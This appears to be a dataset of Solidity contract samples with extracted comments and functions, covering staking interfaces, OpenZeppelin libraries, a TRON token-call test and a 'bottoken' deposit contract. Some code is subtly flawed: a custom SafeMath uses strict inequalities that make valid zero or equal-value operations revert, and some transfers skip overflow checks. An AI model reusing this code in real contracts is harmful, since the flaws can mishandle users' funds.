PERCENTAGE_100 = 100 * PRECISION; uint256 constant BLOCKS_PER_DAY = 6450; uint256 constant BLOCKS_PER_YEAR = BLOCKS_PER_DAY * 365; uint256 constant APY_TOKENS = DECIMALS18; // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; import "../interfaces/IContractsRegistry.sol"; abstract contract AbstractDependant { /// @dev keccak256(AbstractDependant.setInjector(address)) - 1 bytes32 private constant _INJECTOR_SLOT = 0xd6b8f2e074594ceb05d47c27386969754b6ad0c15e5eb8f691399cd0be980e76; modifier onlyInjectorOrZero() { address _injector = injector(); require(_injector == address(0) || _injector == msg.sender, "Dependant: Not an injector"); _; } function setInjector(address _injector) external onlyInjectorOrZero { bytes32 slot = _INJECTOR_SLOT; assembly { sstore(slot, _injector) } } /// @dev has to apply onlyInjectorOrZero() modifier function setDependencies(IContractsRegistry) external virtual; function injector() public view returns (address _injector) { bytes32 slot = _INJECTOR_SLOT; assembly { _injector := sload(slot) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; import "./tokens/ISTKBMIToken.sol"; interface IBMIStaking { event StakedBMI(uint256 stakedBMI, uint256 mintedStkBMI, address indexed recipient); event BMIWithdrawn(uint256 amountBMI, uint256 burnedStkBMI, address indexed recipient); event UnusedRewardPoolRevoked(address recipient, uint256 amount); event RewardPoolRevoked(address recipient, uint256 amount); event BMIMigratedToV2(uint256 amountBMI, uint256 burnedStkBMI, address indexed recipient); struct WithdrawalInfo { uint256 coolDownTimeEnd; uint256 amountBMIRequested; } function stakeWithPermit( uint256 _amountBMI, uint8 _v, bytes32 _r, bytes32 _s ) external; function stakeFor(address _user, uint256 _amountBMI) external; function stake(uint256 _amountBMI) external; function maturityAt() external view returns (uint256); function isBMIRewardUnlocked() external view returns (bool); function whenCanWithdrawBMIReward(address _address) external view returns (uint256); function unlockTokensToWithdraw(uint256 _amountBMIUnlock) external; function withdraw() external; function migrateStakeToV2(address _user) external returns (uint256 amountBMI, uint256 _amountStkBMI); /// @notice Getting withdraw information /// @return _amountBMIRequested is amount of bmi tokens requested to unlock /// @return _amountStkBMI is amount of stkBMI that will burn /// @return _unlockPeriod is its timestamp when user can withdraw /// returns 0 if it didn't unlocked yet. User has 48hs to withdraw /// @return _availableFor is the end date if withdraw period has already begun /// or 0 if it is expired or didn't start function getWithdrawalInfo(address _userAddr) external view returns ( uint256 _amountBMIRequested, uint256 _amountStkBMI, uint256 _unlockPeriod, uint256 _availableFor ); function addToPool(uint256 _amount) external; function stakingReward(uint256 _amount) external view returns (uint256); function getStakedBMI(address _address) external view returns (uint256); function getAPY() external view returns (uint256); function setRewardPerBlock(uint256 _amount) external; function revokeRewardPool(uint256 _amount) external; function revokeUnusedRewardPool() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; interface IContractsRegistry { function liquidityBridgeImplementation() external view returns (address); function getUniswapRouterContract() external view returns (address); function getUniswapBMIToETHPairContract() external view returns (address); function getWETHContract() external view returns (address); function getUSDTContract() external view returns (address); function getBMIContract() external view returns (address); function getPriceFeedContract() external view returns (address); function getPolicyBookRegistryContract() external view returns (address); function getPolicyBookFabricContract() external view returns (address); function getBMICoverStakingContract() external view returns (address); function getLegacyRewardsGeneratorContract() external view returns (address); function getRewardsGeneratorContract() external view returns (address); function getBMIUtilityNFTContract() external view returns (address); function getLiquidityMiningContract() external view returns (address); function getClaimingRegistryContract() external view returns (address); function getPolicyRegistryContract() external view returns (address); function getLiquidityRegistryContract() external view returns (address); function getClaimVotingContract() external view returns (address); function getReinsurancePoolContract() external view returns (address); function getLiquidityBridgeContract() external view returns (address); function getContractsRegistryV2Contract() external view returns (address); function getPolicyBookAdminContract() external view returns (address); function getPolicyQuoteContract() external view returns (address); function getLegacyBMIStakingContract() external view returns (address); function getBMIStakingContract() external view returns (address); function getSTKBMIContract() external view returns (address); function getVBMIContract() external view returns (address); function getLegacyLiquidityMiningStakingContract() external view returns (address); function getLiquidityMiningStakingContract() external view returns (address); function getReputationSystemContract() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; interface ILiquidityBridge { event BMIMigratedToV2( address indexed recipient, uint256 amountBMI, uint256 rewardsBMI, uint256 burnedStkBMI ); event MigratedBMIStakers(uint256 migratedCount); function migrateUserBMIStake(address _sender, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; interface ILiquidityMining { struct TeamDetails { string teamName; address referralLink; uint256 membersNumber; uint256 totalStakedAmount; uint256 totalReward; } struct UserInfo { address userAddr; string teamName; uint256 stakedAmount; uint256 mainNFT; // 0 or NFT index if available uint256 platinumNFT; // 0 or NFT index if available } struct UserRewardsInfo { string teamName; uint256 totalBMIReward; // total BMI reward uint256 availableBMIReward; // current claimable BMI reward uint256 incomingPeriods; // how many month are incoming uint256 timeToNextDistribution; // exact time left to next distribution uint256 claimedBMI; // actual number of claimed BMI uint256 mainNFTAvailability; // 0 or NFT index if available uint256 platinumNFTAvailability; // 0 or NFT index if available bool claimedNFTs; // true if user claimed NFTs } struct MyTeamInfo { TeamDetails teamDetails; uint256 myStakedAmount; uint256 teamPlace; } struct UserTeamInfo { address teamAddr; uint256 stakedAmount; uint256 countOfRewardedMonth; bool isNFTDistributed; } struct TeamInfo { string name; uint256 totalAmount; address[] teamLeaders; } function startLiquidityMiningTime() external view returns (uint256); function getTopTeams() external view returns (TeamDetails[] memory teams); function getTopUsers() external view returns (UserInfo[] memory users); function getAllTeamsLength() external view returns (uint256); function getAllTeamsDetails(uint256 _offset, uint256 _limit) external view returns (TeamDetails[] memory _teamDetailsArr); function getMyTeamsLength() external view returns (uint256); function getMyTeamMembers(uint256 _offset, uint256 _limit) external view returns (address[] memory _teamMembers, uint256[] memory _memberStakedAmount); function getAllUsersLength() external view returns (uint256); function getAllUsersInfo(uint256 _offset, uint256 _limit) external view returns (UserInfo[] memory _userInfos); function getMyTeamInfo() external view returns (MyTeamInfo memory _myTeamInfo); function getRewardsInfo(address user) external view returns (UserRewardsInfo memory userRewardInfo); function createTeam(string calldata _teamName) external; function deleteTeam() external; function joinTheTeam(address _referralLink) external; function getSlashingPercentage() external view returns (uint256); function investSTBL(uint256 _tokensAmount, address _policyBookAddr) external; function distributeNFT() external; function checkPlatinumNFTReward(address _userAddr) external view returns (uint256); function checkMainNFTReward(address _userAddr) external view returns (uint256); function distributeBMIReward() external; function getTotalUserBMIReward(address _userAddr) external view returns (uint256); function checkAvailableBMIReward(address _userAddr) external view returns (uint256); /// @notice checks if liquidity mining event is lasting (startLiquidityMining() has been called) /// @return true if LM is started and not ended, false otherwise function isLMLasting() external view returns (bool); /// @notice checks if liquidity mining event is finished. In order to be finished, it has to be started /// @return true if LM is finished, false if event is still going or not started function isLMEnded() external view returns (bool); function getEndLMTime() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface ISTKBMIToken is IERC20Upgradeable { function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * COPIED FROM https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/tree/release-v3.4/contracts/drafts * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
User can withdraw after unlock period is over, when 10 days passed after user asked to unlock stkBMI and before 48hs that stkBMI are unlocked.it will revert (equal to 0) here if passed 48hs after unlock period, iflockup period didn't start or didn't passed 90 days or if unlock didn't start
function withdraw() external override updateRewardPool { uint256 _whenCanWithdrawBMIReward = whenCanWithdrawBMIReward(_msgSender()); require(_whenCanWithdrawBMIReward != 0, "BMIStaking: unlock not started/exp"); require(_whenCanWithdrawBMIReward <= block.timestamp, "BMIStaking: cooldown not reached"); (uint256 amountBMI, uint256 _amountStkBMI) = _withdraw(_msgSender(), _msgSender()); }
10,114,079
pragma solidity ^0.4.24; contract SubC { event log(string); function () payable {} function receiveToken() payable {} function getBalance() constant public returns (uint256 r){ r = address(this).balance; } } contract UseDot { constructor() payable public{} function() payable public{} mapping(address => mapping(trcToken => uint256)) sender_tokens; function trigger1(address addr) payable public { //SubC(addr).call.value(1000).tokenId(0x6e6d62)(bytes4(sha3("receiveToken()"))); // ERROR } function trigger2(address addr) payable public { //addr.transferToken.value(10)(10, 0x6e6d62); // ERROR } function trigger3(address addr) payable public { // SubC(addr).receiveToken.tokenvalue(10)(); // ERROR } function trigger4(address addr) payable public { // SubC(addr).receiveToken.tokenId(0x6e6d62)(); // ERROR } function trigger5(address addr) payable public { SubC(addr).receiveToken.value(10)(); } function trigger6(address addr, trcToken tokenId) payable public { SubC(addr).call.value(1000)(bytes4(sha3("transferToken(uint256, trcToken)")), 10, tokenId); } function trigger7(address addr) payable public { //sender_tokens[msg.sender][msg.tokenid] += msg.tokenvalue; // compile success, no necessary to trigger } function trigger8(address addr) public payable returns(bytes r){ //r = msg.data; // compile success, no necessary to trigger } function getBalance() public returns (uint256 r){ r = address(this).balance; } }
sender_tokens[msg.sender][msg.tokenid] += msg.tokenvalue; compile success, no necessary to trigger
function trigger7(address addr) payable public { }
13,061,600
pragma solidity =0.4.20; contract SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b < _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; require(c > _a); return c; } } contract bottoken is SafeMath{ string public name; string public icon; uint8 public decimals; uint256 totalSupply; bool public locked; //map any address to a balance mapping (bytes32 => uint256) public balances; mapping (address => bool) public owners; /* * events */ event Transfers(bytes32 from, bytes32 to, uint value); event newMint(uint value, bytes32 account); event burnNotice(bytes32 account,uint _input, uint _output,address _addr); event newAddr(bytes32 account, address newAddress); // only operate if the command comes from bridigette modifier onlyOwner(){ require(owners[msg.sender]); _; } modifier notLocked(){ require(locked != true); _; } /* * Constructor function * @dev this is called by a software licensor who then becomes the owner * @param name: the name of the product * @param icon : icon url * @param decimals : not used for bool tokens can be used for consumption * @param initial supply : tokens at start, stored at owners addresses * @param experation_date : date after which the entitlement will stop functioning. */ function bottoken(string _name, string _icon, uint8 _decimals, bytes32 _owner, uint256 _initialSupply) public { balances[_owner] = _initialSupply; totalSupply = _initialSupply; name = _name; icon = _icon; decimals = _decimals; owners[msg.sender] = true; locked = true; } /* * Function that is called to mint new tokens * @param value: how many coins to make * @dev can only be called by the owner, sends minted tokens to the owner address */ function unlock() public onlyOwner returns(bool success){ locked = false; return true; } function lock() public onlyOwner returns(bool success){ locked = true; return true; } function addOwner(address _newOwner) public onlyOwner returns(bool success){ owners[_newOwner] = true; return true; } function rmOwner(address _newOwner) public onlyOwner returns(bool success){ owners[_newOwner] = false; return true; } /* * Function that is called to mint new tokens * @param value: how many coins to make * @dev can only be called by the owner, sends minted tokens to the owner address */ function deposit(bytes32 account) external payable notLocked returns(bool success){ uint n = 1000000000000000000; uint v = msg.value; //take a payment convert it by modulo 100, return change, mint tokens require(account != 0x00000000000000000000000000000000000000000000000000000000000000000); require(account.length == 32); require(mul(div(v,n) , 100) >= 0); require(msg.value % n == 0); uint tokens = mul(div(v,n) , 100); totalSupply = add(totalSupply, tokens); balances[account] = add(balanceOf(account), tokens); newMint(tokens, account); return true; } /* * function called to burn tokens * @param value : how many to burnNotice * @param data : a byte string if a user wants to add some kind of hex message */ function withdraw(bytes32 account, uint _value, address _addr) onlyOwner notLocked public returns (bool success){ require(balanceOf(account) > _value); balances[account] = sub(balanceOf(account), _value); totalSupply = sub(totalSupply, _value); uint n = 1000000000000000000; _value = mul(_value,n); uint e = div(_value,100); require(_addr.send(e)); burnNotice(account, _value, e, _addr); return true; } /* Function that is called when a user or another contract wants to transfer funds * @param to : address to transfer a balance to * @param value : how many units to send * @dev only happens if msg sender has a balance and the entitlement is not expired */ function transfer(bytes32 _from, bytes32 _to, uint _value) public onlyOwner notLocked returns (bool success) { require(balanceOf(_from) > _value); balances[_from] = balanceOf(_from) - _value; balances[_to] = balanceOf(_to) + _value; Transfers(_from, _to, _value); return true; } /* * getter: returns balance of an addresses * @param owner: address that we want to know a balance of */ function balanceOf(bytes32 _owner) public view returns (uint balance) { return balances[_owner]; } function newDeposit(bytes32 _account) public returns (bool success){ Deposit genAddr = new Deposit(this, _account); newAddr(_account, genAddr); return true; } } contract Deposit{ address parent; bytes32 account; event newContract(address parent, bytes32 account); event sending(uint amount); function Deposit(address _contract, bytes32 _account)public { parent = _contract; account = _account; newContract(parent, account); } function() public payable { //take a payment and forward it bottoken b = bottoken(parent); b.deposit.value(msg.value)(account); sending(msg.value); } }
Function that is called when a user or another contract wants to transfer funds to : address to transfer a balance to value : how many units to send only happens if msg sender has a balance and the entitlement is not expired/
function transfer(bytes32 _from, bytes32 _to, uint _value) public onlyOwner notLocked returns (bool success) { require(balanceOf(_from) > _value); balances[_from] = balanceOf(_from) - _value; balances[_to] = balanceOf(_to) + _value; Transfers(_from, _to, _value); return true; }
1,846,072
pragma solidity 0.6.6; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol"; import "./interfaces/IVaultConfig.sol"; import "./interfaces/IWorkerConfig.sol"; import "./interfaces/InterestModel.sol"; contract ConfigurableInterestVaultConfig is IVaultConfig, OwnableUpgradeSafe { /// The minimum debt size per position. uint256 public override minDebtSize; /// The portion of interests allocated to the reserve pool. uint256 public override getReservePoolBps; /// The reward for successfully killing a position. uint256 public override getKillBps; /// Mapping for worker address to its configuration. mapping(address => IWorkerConfig) public workers; /// Interest rate model InterestModel public interestModel; // address for wrapped native eg WBNB, WETH address public wrappedNative; // address for wNtive Relayer address public wNativeRelayer; // address of fairLaunch contract address public fairLaunch; function initialize( uint256 _minDebtSize, uint256 _reservePoolBps, uint256 _killBps, InterestModel _interestModel, address _wrappedNative, address _wNativeRelayer, address _fairLaunch ) public initializer { OwnableUpgradeSafe.__Ownable_init(); setParams( _minDebtSize, _reservePoolBps, _killBps, _interestModel, _wrappedNative, _wNativeRelayer, _fairLaunch); } /// @dev Set all the basic parameters. Must only be called by the owner. /// @param _minDebtSize The new minimum debt size value. /// @param _reservePoolBps The new interests allocated to the reserve pool value. /// @param _killBps The new reward for killing a position value. /// @param _interestModel The new interest rate model contract. function setParams( uint256 _minDebtSize, uint256 _reservePoolBps, uint256 _killBps, InterestModel _interestModel, address _wrappedNative, address _wNativeRelayer, address _fairLaunch ) public onlyOwner { minDebtSize = _minDebtSize; getReservePoolBps = _reservePoolBps; getKillBps = _killBps; interestModel = _interestModel; wrappedNative = _wrappedNative; wNativeRelayer = _wNativeRelayer; fairLaunch = _fairLaunch; } /// @dev Set the configuration for the given workers. Must only be called by the owner. function setWorkers(address[] calldata addrs, IWorkerConfig[] calldata configs) external onlyOwner { require(addrs.length == configs.length, "ConfigurableInterestVaultConfig::setWorkers:: bad length"); for (uint256 idx = 0; idx < addrs.length; idx++) { workers[addrs[idx]] = configs[idx]; } } /// @dev Return the address of wrapped native token function getWrappedNativeAddr() external view override returns (address) { return wrappedNative; } function getWNativeRelayer() external view override returns (address) { return wNativeRelayer; } /// @dev Return the address of fair launch contract function getFairLaunchAddr() external view override returns (address) { return fairLaunch; } /// @dev Return the interest rate per second, using 1e18 as denom. function getInterestRate(uint256 debt, uint256 floating) external view override returns (uint256) { return interestModel.getInterestRate(debt, floating); } /// @dev Return whether the given address is a worker. function isWorker(address worker) external view override returns (bool) { return address(workers[worker]) != address(0); } /// @dev Return whether the given worker accepts more debt. Revert on non-worker. function acceptDebt(address worker) external view override returns (bool) { return workers[worker].acceptDebt(worker); } /// @dev Return the work factor for the worker + debt, using 1e4 as denom. Revert on non-worker. function workFactor(address worker, uint256 debt) external view override returns (uint256) { return workers[worker].workFactor(worker, debt); } /// @dev Return the kill factor for the worker + debt, using 1e4 as denom. Revert on non-worker. function killFactor(address worker, uint256 debt) external view override returns (uint256) { return workers[worker].killFactor(worker, debt); } }
Return the address of wrapped native token
function getWrappedNativeAddr() external view override returns (address) { return wrappedNative; }
5,358,102
./full_match/5/0xeBB59817E608E4d994D09C5f1432325285500dA1/sources/contracts/defi.sol
Function to distributed interest
function distributeInterest() public { for (uint256 i = 0; i < stakerId.length; i++) { uint256 calculateProportion = (stakerData[stakerId[i]] .stakingAmount * 1000000) / totalStakedAmount; stakerData[stakerId[i]].collectedInterest += (calculateProportion * totalCollectedInterest) / 1000000; } totalCollectedInterest = 0; }
1,903,766
